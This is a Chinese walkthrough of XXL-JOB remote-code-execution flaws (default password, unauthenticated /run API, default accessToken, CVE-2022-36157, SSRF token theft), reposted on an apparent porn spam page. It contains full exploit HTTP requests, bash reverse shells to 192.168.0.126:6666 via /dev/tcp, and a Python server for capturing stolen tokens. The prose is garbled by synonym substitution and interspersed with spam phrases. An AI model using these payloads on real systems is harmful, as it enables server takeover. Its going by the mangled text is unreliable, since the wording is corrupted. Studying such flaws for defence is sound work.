凌辱人妻温泉-ai换脸 刘涛 浅析xxl-job rce粗放
你的位置:凌辱人妻温泉 > hongkongdoll 免费视频 > ai换脸 刘涛 浅析xxl-job rce粗放
ai换脸 刘涛 浅析xxl-job rce粗放
发布日期:2024-09-12 17:21     点击次数:95

ai换脸 刘涛 浅析xxl-job rce粗放

著述目次 媒介腹地环境搭建1、运行化数据库2、搭建革新中心3、搭建出奉行器 XXL-JOB粗放1、后台弱口令->RCE2、未授权API->RCE3、默许accessToken4、CVE-2022-361575、SSRF粗放->RCE 回想 媒介

在日常开辟中ai换脸 刘涛,频频会用定时任务奉行某些不进军又相配紧要的事情,举例批量结算,贪图当日的订单量,当日的资本收入等。当存在多量定时任务的时分,任务的搞定也会成为一个比拟头痛的问题。XXL-JOB,即是一个比拟训导的开源散播式任务革新平台(群众点评的一位大佬开源的,官网:XXL开源社区,面前此样式已被各个企业粗俗领受(Github Star 25.8k)。

然而 XXL-JOB 任务革新中心系统这几年被披披露存在多个后台敕令奉行粗放,膺惩者不错通过反弹 shell 奉行率性敕令,获取作事器搞定权限。本文来分析、回想下 XXL-JOB 系统历史上几个 RCE 粗放,为攻防职责积聚 RCE 高危粗放常识库。

腹地环境搭建

为了便捷复现粗放,此处腹地自行搭建一下 XXL-JOB 系统环境。

环境版块信息XXL-OBJv2.3.1Windows11IntelliJ IDEACommunity Edition 2023.2.2Java JDK1.8(亲测高版块可能导致奉行任务出错)MySQL8.0.35

先到 Github 下载源码,此处我选拔 v2.3.1 版块(面前最新版是 v2.4.0),便捷复现下文触及的粗放:

图片ai换脸 刘涛

下载后解压缩如下:

图片

1、运行化数据库

先装配 MySQL 数据库环境,Windows 装配参见示程:2023 年 MySQL 8.0 装配成立 最通俗(保姆级):

图片

需要先将 doc/db/tables_xxl_job.sql 文献导入 MySQL 创建数据库,此处我使用的 MySQL 搞定器具是 dbeaver(免费且宏大的数据库搞定器具,不必为 Navicat 付费软件买单):

图片

新建数据库 xxl-obj 后右键选拔导入剧本:

图片

奏效创建数据库(堤防是自动创建了 xxl_job 库):

图片

2、搭建革新中心

革新中心即是源码中的 xxl-job-admin 工程,咱们需要将其成立成我方需要的革新中心,通过该工程咱们简略以图形化的形式搭伙搞定任务革新平台上革新任务,着重触发革新奉行。

咱们只需手动修转换新中心成立文献地址中对于 MySQL 数据库的成立即可:

/xxl-job/xxl-job-admin/src/main/resources/application.properties

图片

然后由于该工程是一个 Springboot 样式,咱们只需要在 IDEA 中奉行 XxlJobAdminApplication 类即可运行该工程:

图片

革新中心拜访地址:http://localhost:8080/xxl-job-admin (该地址奉行器将会使用到,算作回调地址):

图片

默许登录账号 “admin/123456”, 登录后运行界面如下图所示:

图片

3、搭建出奉行器

“奉行器”样式:xxl-job-executor-sample-springboot,提供多种版块奉行器供选拔,现以 Springboot 版块为例,可平直使用,也不错参考其并将现存样式改变成奉行器。

奉行器样式的作用:

着重领受 “革新中心” 的革新并奉行;可平直部署奉行器,也不错将奉行器集成到现存业务样式中(可参见:散播式任务革新平台XXL-JOB搭建教程)。

阅读 官方文档 可知,SpringBoot 版块的奉行器样式亦然不错平直启动的(顺应开箱即用的说法),此处我领受默许成立(有需求请自行修改成立,成立参数含义参见官方文档):

图片

平直启动奉行器样式:

图片

图片

至此,革新中心和奉行器两侧系统均已搭建收场。接下来便不错兴隆地使用 XXL-JOB 系统的功能了,不错通过革新中心,成立定时奉行任务,具体操作经由可参见下文 “后台弱口令->RCE” 章节。

XXL-JOB粗放

如官网所述:XXL-JOB 是一个散播式任务革新平台,其中枢假想想法是开辟赶紧、学习省略、轻量级、易彭胀。现已绽放源代码并接入多家公司线上家具线,开箱即用。

Fofa 搜索语法:app='XXL-JOB'

图片

1、后台弱口令->RCE

从官方文档不错看到,XXL-JOB 系统全版块齐存在默许弱口令“admin/123456”:

图片

若是搞定员未修改默许密码,咱们也不错通过默许口令参加革新中心搞定系统,获取后台权限不错搞定通盘的任务搞定,致使不错奉行请示,接受作事器。

使用默许口令参加后台之后,咱们不错发现系统默许已成立了奉行器为上述搭建的奉行器作事地址(9999 端口):

图片

为了达成 RCE,咱们选拔 “任务搞定 - 新增” 填写以下信息,运行模式使用 GLUE(Java) (此处我是 Windows11 系统搭建的奉行器系统,故选拔 Java 进行弹贪图器的敕令奉行演示,固然此处也不错选拔其他讲话来奉行敕令,XXL-JOB 的范例 RESTful API 撑执多讲话,若是是 Linux 作事器不错选拔 GLUE(Shell )讲话反弹 Shell),其他嘱咐选项,顺应章程即可:

图片

接下来右键剪辑任务,选拔 “GLUE IDE”,插入待奉行的剧本敕令:

图片

图片

此处我是 Windows11 系统搭建的奉行器系统,故选拔 Java 进行弹贪图器的敕令奉行演示:

Runtime runtime = Runtime.getRuntime();
runtime.exec('cmd /c calc');

然后发轫奉行任务:

图片

不错看到敕令已被奏效奉行:

图片

【补充】对应 XXL-JOB 作事器属于 Linux 系统的话,反弹 Shell 请选拔 GLUE(Shell),然后在 “GLUE IDE” 添加任务剧本:

#!/bin/bash
bash -c 'exec bash -i >& /dev/tcp/192.168.0.126/6666 0>&1'

综上不错看到,XXL-JOB 后台搞定系统由于存在职务搞定功能,可奉行搞定员指定的剧本和请示,故在弱口令(或者存鄙人文将说起的未授权拜访粗放)的情况下,可被膺惩者接受作事器。

2、未授权API->RCE

XXL-JOB 分为 admin 和 executor 两头,前者为后台搞定页面,后者是任务奉行的客户端。然而 2020 年 10 月,XXL-JOB <= 2.2.0 版块被各大云厂商报出存在汉典奉行粗放,其 executor 端默许莫得成立认证,未授权的膺惩者不错通过 RESTful API 奉行率性敕令,如下是 阿里云的粗放预警:

图片

有道理的是该开源软件的作家在实时建造该粗放的同期,还有益发文“知道”此粗放不是“粗放”……参见:XXL JOB 未授权拜访致汉典敕令奉行 “粗放” 声明。

按照软件作家许雪里所述,该粗放的根因在于:

图片

咱们通过 Vulhub 提供的 Docker 环境来复现该粗放:

图片

不错看到 admin 搞定端映射了 8080 端口,executor 奉行器客户端映射了 9999 端口,同期开启了 Mysql 数据库作事:

图片

但莫名的是 Vulhub 并未提供齐全的可视化界面:

图片

图片

然而不影响粗放哄骗,勾引处男物理机中平直调用 executor 奉行器客户端 /run 接口,传递如下 glueSource 参数,反弹 Shell:
POST /run HTTP/1.1
Host: 192.168.0.122:9999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{
  'jobId': 1,
  'executorHandler': 'demoJobHandler',
  'executorParams': 'demoJobHandler',
  'executorBlockStrategy': 'COVER_EARLY',
  'executorTimeout': 0,
  'logId': 1,
  'logDateTime': 1586629003729,
  'glueType': 'GLUE_SHELL',
  'glueSource': 'bash -i >& /dev/tcp/192.168.0.126/6666 0>&1',
  'glueUpdatetime': 1586699003758,
  'broadcastIndex': 0,
  'broadcastTotal': 0
}

图片

Kali Linux 奏效赢得 Shell:

图片

从官方文档不错看到该未授权 API:/run 的详备参数含义:

图片

丁香网 作家针对该问题,提供的几种安全驻守政策: 开启 XXL-JOB 自带的鉴权组件:官方文档中搜索 “xxl.job.accessToken” ,按照文档说明启用即可;端口驻守:实时更换默许的奉行器端口,不提出平直将默许的 9999 端口绽放到公网;端口拜访轨则:通过成立安全组轨则只允许指定 IP 智商拜访奉行器 9999 端口。 3、默许accessToken

该粗放信息源于 微步在线X谍报社区 发布的粗放公告:

图片

图片

省略来说即是,XXL-JOB <= 2.4.0 版块在践诺使用中若是莫得修改默许值,膺惩者可哄骗此绕过认证调用 executor,奉行率性代码,从而获取作事器权限。

此处我搭建的 XXL-JOB 腹地环境是 v2.3.1 版块,不错看到源码提供的默许成立如下:

图片

图片

此参数的 官方文档解说 如下:

图片

面前 v2.3.1 版块默许成立参数 xxl.job.accessToken=default_token,不知说念作家为什么会给了个默许值,翻看之前的版块xxl.job.accessToken齐默许为空,直到 v2.3.1 版块后才出现默许值。

而此粗放也恰是xxl.job.accessToken成立项的该默许值引起的,因为该参数属于会话令牌,此默许成立相配于为奉行器系统提供了默许会话凭证:

图片

故可在未具备任何权限的情况下,发送以下报文奉行率性敕令如下:

图片

图片

此处我用的是 Python 剧本奉行 ping dnslog 作事的敕令,齐全报文附上如下:
POST /run HTTP/1.1
Host: 192.168.0.121:9999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.121:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
XXL-JOB-ACCESS-TOKEN: default_token
Connection: close
Content-Length: 393

{
  'jobId': 1,
  'executorHandler': 'demoJobHandler',
  'executorParams': 'demoJobHandler',
  'executorBlockStrategy': 'COVER_EARLY',
  'executorTimeout': 0,
  'logId': 1,
  'logDateTime': 1586629003729,
  'glueType': 'GLUE_PYTHON',
  'glueSource': 'import os\nos.system('ping 5rpm7j.dnslog.cn')',
  'glueUpdatetime': 1586699003758,
  'broadcastIndex': 0,
  'broadcastTotal': 0
}

反弹 Shell 赢得 RCE 同理,省略修改代码即可。

粗放建造有筹办

官方提供的建造有筹办:修转换新中心和奉行器成立项 xxl.job.accessToken 的默许值,堤防要成立交流的值(拜访令牌(AccessToken)官方说明)。

图片

将 xxl.job.accessToken 使用当场 AccessToken,或者不易被猜解的值。 4、CVE-2022-36157

在 XXL-JOB 的官方版块发布信息不错看到,v2.4.0 建造了两个 CVE 粗放:

图片

咱们先来说第一个粗放 CVE-2022-36157:

图片

看态状是一个很省略的垂直越权粗放,咱们来基于 v2.3.1 版块快速复现一下。

1、创建曩昔用户:

图片

2、不错发现默许只好以下 4 个功能的拜访权限:

图片

3、手动添加 API 旅途/xxl-job-admin/jobgroup,不错看到第五个功能“奉行器搞定(奉行器搞定)”,致使不错剪辑它!

图片

粗放建造

图片

此粗放只是是垂直越权粗放,非 RCE,价值不是很高。 5、SSRF粗放->RCE

终末说一下 CVE-2022-43183 ,即 XXL-JOB 系统的 SSRF 高危粗放:

图片

亦然 v2.3.1 版块的,从 https://github.com/xuxueli/xxl-job/issues/3002 不错赢得粗放的进一步信息:

图片

同步下信息:

xxl-job =< 2.3.1版块(最新版块)存在SSRF粗放,导致低权限用户欺压executor奉行率性敕令。

XXL-JOB 2.3.1的 xxl-job-2.3.1/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/JobLogController.java中存在 SSRF 粗放,该粗放源自于/logDetailCat,平直向 executorAddress 指定的地址发送查询日记苦求,而不判断 executorAddress 参数是否为灵验的奉行器地址,而/logDetailCat接口调用只需平台低权限用户即可。由于查询苦求中会带有 XXL-JOB-ACCESS-TOKEN,导致XXL-JOB-ACCESS-TOKEN泄漏,然后膺惩者获取XXL-JOB-ACCESS-TOKEN并调用率性奉行器,导致膺惩者不错奉行率性敕令。

粗放态状得很明晰了,咱们来定位下代码望望是不是果真存在 SSRF 粗放:

图片

跟进 XxlJobScheduler.getExecutorBiz(executorAddress) 不错看到中枢是将外部传递的地址成立为 executorBiz 对象的成员变量值:

图片

图片

复返 “/logDetailCat” 跟进 executorBiz.log 函数

图片

图片

不绝跟进 log 函数的达成,最终不错看到在 com\xuxueli\xxl-job-core\2.3.1\xxl-job-core-2.3.1.jar!\com\xxl\job\core\util\XxlJobRemotingUtil.class类的 postBody 函数中,向外部传递的 Url 地址发送了一个佩戴 “XXL-JOB-ACCESS-TOKEN” 的 POST 苦求:

图片

图片

至此,存在 SSRF 粗放已实锤。

粗放复现体式也很省略:

腹地搭建一个 http 作事器,打印 http 苦求头日记;创建曩昔用户 Normal,莫得任何 executor 权限;使用曩昔用户调用 /xxl-job-admin/joblog/logDetailCat 接口时,将输入参数 executorAddress 成立为体式1 中的 http 作事器地址,将平直打印 XXL-JOB-ACCESS-TOKEN 在想法作事器上;低权限用户接下来即可拿着 XXL-JOB-ACCESS-TOKEN ,按照上一章节 CVE-2022-36157 的哄骗报文相似给奉行器发送坏心任务,达成率性代码奉行。

那么先使用 Python 搭建一个 http server 并打印 Post 苦求头数据:

'''
@File:httpdemo.py
@Time:2024/1/2 22:25
@Auth:Tr0e
@Github:https://github.com/Tr0e
@Description:搭建http server并打印汉典发送过来的http苦求齐全信息,用于SSRF粗放窃取token
'''
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
from colorama import Fore, init

init(autoreset=True)  # 成立colorama颜料自动重置,不然到手动成立Style.RESET_ALL

data = {'result': 'HTTP SERVER OK'}
host = ('192.168.0.110', 6666)


class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        # 发给苦求客户端的反应数据
        self.send_header('Content-type', 'application/json')
        self.end_headers()
        self.wfile.write(json.dumps(data).encode())

    def do_POST(self):
        self.send_response(200)
        datas = self.rfile.read(int(self.headers['content-length']))
        print(Fore.RED + '[+]POST:', self.path, self.client_address)
        print(Fore.GREEN + str(self.headers))
        print(Fore.GREEN + str(datas))
        # 发给苦求客户端的反应数据
        self.send_header('Content-type', 'application/json')
        self.end_headers()
        self.wfile.write(json.dumps(data).encode())


if __name__ == '__main__':
    server = HTTPServer(host, MyServer)
    print(Fore.YELLOW + '[*]Server已启动,地址信息: %s:%s' % host)
    server.serve_forever()

然后发送报文如下:

图片

POST /xxl-job-admin/joblog/logDetailCat HTTP/1.1
Host: 192.168.0.110:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.110:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

executorAddress=http://192.168.0.110:6666&logId=0&fromLineNum=0&triggerTime=1586629003729

此时即可在咱们搭建的 HTTP Server 获取到 XXL-JOB 的 accessToken:

图片

拿到 XXL-JOB-ACCESS-TOKEN的值以后,就不错跟 “3、默许 access Token” 章节相似,提权向奉行器发送定时任务,并反弹 Shell 接受作事器。

【念念考】由于浏览器的同源政策并不辞谢 A 网站佩戴本身 Cookie 苦求非同源的 B 网站,然而 B 网站的 JS 剧本发起对 A 网站的苦求,SOP 会使得非同源(域名、公约、端口等不同)的网站 B 的 JavaScript 剧本无法读取网站 A 的作事端反应包数据。-----》然而若是 A 网站存在 SSRF 粗放,膺惩者不错指定其苦求膺惩作事器搭建的 B 网站,便有契机获取 A 网站发起的 HTTP 苦求佩戴的 Cookie 信息,从而变成与 XSS 粗放近似的接受账户的危害。

粗放建造

参见 官方修补代码,抛弃了外部可控的 “executorAddress” 参数:

图片

回想

本文回想分析了 XXL-JOB 散播式任务革新平台这几年出现的 RCE 粗放,不错看到信息系统若是存在近似自界说剧本奉行定时任务的业务功能,一朝被膺惩者奏效绕过登录轨则或者获取到认证笔据,那么业务场所的作事器将濒临率性代码奉行粗放导致作事器被接受的风险。日常攻防实战中,也应重脸色切此类业务功能是否存在职意代码奉行导致 RCE 粗放。

另外 XXL-JOB 在更早期的版块( <=2.0.2,2019 年 4 月 20 日发布)还出现过反序列化粗放,粗放哄骗触及 JNDI 注入,背面会单独回想分析此类反序列粗放和哄骗期间,本文先不张开。有益思的读者请参考: xxl-job api未授权Hessian2反序列化、老曲新唱之XXL-JOB未授权Hessian2反序列化调试分析。

终末,XXL-JOB 算作开源的 SpringBoot 样式粗俗被各大企业领受,安全揣摸东说念主员也不错将其算作 Java 代码审计实战锤真金不怕火的样式,挖掘出来的粗放势必也具有一定业界影响力。

本文参考贵府:ai换脸 刘涛

XXL开源社区;XXL-JOB executor 未授权拜访粗放;xxl-job弱口令登录后台RCE复现;xxl-job =< 2.3.1版块存在SSRF粗放;xxl-job api未授权Hessian2反序列化; 本站仅提供存储作事,通盘内容均由用户发布,如发现存害或侵权内容,请点击举报。

相关资讯